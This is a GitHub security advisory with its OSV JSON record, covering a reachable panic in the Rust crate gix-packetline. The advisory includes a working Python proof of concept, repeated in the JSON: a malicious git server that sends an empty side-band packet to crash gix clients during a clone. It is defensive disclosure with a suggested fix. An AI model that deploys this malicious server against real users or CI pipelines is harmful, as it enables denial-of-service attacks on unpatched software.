GHSA-2VH6-HW4J-32WW
Vulnerability from github – Published: 2026-08-28 16:09 – Updated: 2026-08-28 16:09Summary
gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.
Details
In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]:
https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199
When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.
(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)
PoC
Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.
- Run a minimal malicious git server on
127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes0005+0x02- a side-band line of length 5 whose content is the single band-id byte0x02with an EMPTY payload:
import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
c.recv(65536)
c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
+pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
buf=b""; sent=False
while True:
d=c.recv(65536)
if not d: return
buf+=d
if b"command=ls-refs" in buf and not sent:
c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
+pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
c.sendall(pkt(b"packfile\n") + b"0005\x02") # band id 2, EMPTY payload
try: c.recv(4096)
except Exception: pass
return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()
- Point the real client at it:
RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out
Observed:
thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101
Impact
A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.
Suggested fix
Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.21.4"
},
"package": {
"ecosystem": "crates.io",
"name": "gix-packetline"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-191"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T16:09:59Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n`gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.\n\n### Details\nIn `gix-packetline/src/lib.rs`, `impl From\u003c\u0026[u8]\u003e for TextRef` strips a trailing newline with `d[d.len() - 1]`:\nhttps://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199\nWhen `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.\n\n(Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.)\n\n### PoC\nConfirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`.\n\n1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload:\n\n```python\nimport socket\nHOST, PORT = \"127.0.0.1\", 9418\ndef pkt(d): return (\"%04x\" % (len(d)+4)).encode() + d\nFLUSH=b\"0000\"; OID=b\"1234567890123456789012345678901234567890\"\ndef handle(c):\n c.recv(65536)\n c.sendall(pkt(b\"version 2\\n\")+pkt(b\"agent=git/evil\\n\")+pkt(b\"ls-refs=unborn\\n\")\n +pkt(b\"fetch=shallow wait-for-done\\n\")+pkt(b\"object-format=sha1\\n\")+FLUSH)\n buf=b\"\"; sent=False\n while True:\n d=c.recv(65536)\n if not d: return\n buf+=d\n if b\"command=ls-refs\" in buf and not sent:\n c.sendall(pkt(OID+b\" HEAD symref-target:refs/heads/master\\n\")\n +pkt(OID+b\" refs/heads/master\\n\")+FLUSH); sent=True; buf=b\"\"; continue\n if b\"command=fetch\" in buf and (buf.rstrip().endswith(b\"0000\") or b\"done\" in buf):\n c.sendall(pkt(b\"packfile\\n\") + b\"0005\\x02\") # band id 2, EMPTY payload\n try: c.recv(4096)\n except Exception: pass\n return\ns=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\ns.bind((HOST,PORT)); s.listen(1); print(\"listening\",PORT)\nconn,_=s.accept(); conn.settimeout(5.0)\ntry: handle(conn)\nfinally: conn.close(); s.close()\n```\n\n2. Point the real client at it:\n```\nRUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out\n```\n\nObserved:\n```\nthread \u0027main\u0027 panicked at gix-packetline/src/lib.rs:199:20:\nindex out of bounds: the len is 0 but the index is 18446744073709551615\nexit code: 101\n```\n### Impact\nA pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.\n\n### Suggested fix\nGuard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b\"\\n\").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(\u0026b\u0027\\n\u0027)` before slicing.",
"id": "GHSA-2vh6-hw4j-32ww",
"modified": "2026-08-28T16:09:59Z",
"published": "2026-08-28T16:09:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-2vh6-hw4j-32ww"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/pull/2638"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/4bef04ae8a261634200b3a6faabdd77e25aeb8c1"
},
{
"type": "PACKAGE",
"url": "https://github.com/GitoxideLabs/gitoxide"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/releases/tag/gix-packetline-v0.21.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)"
}
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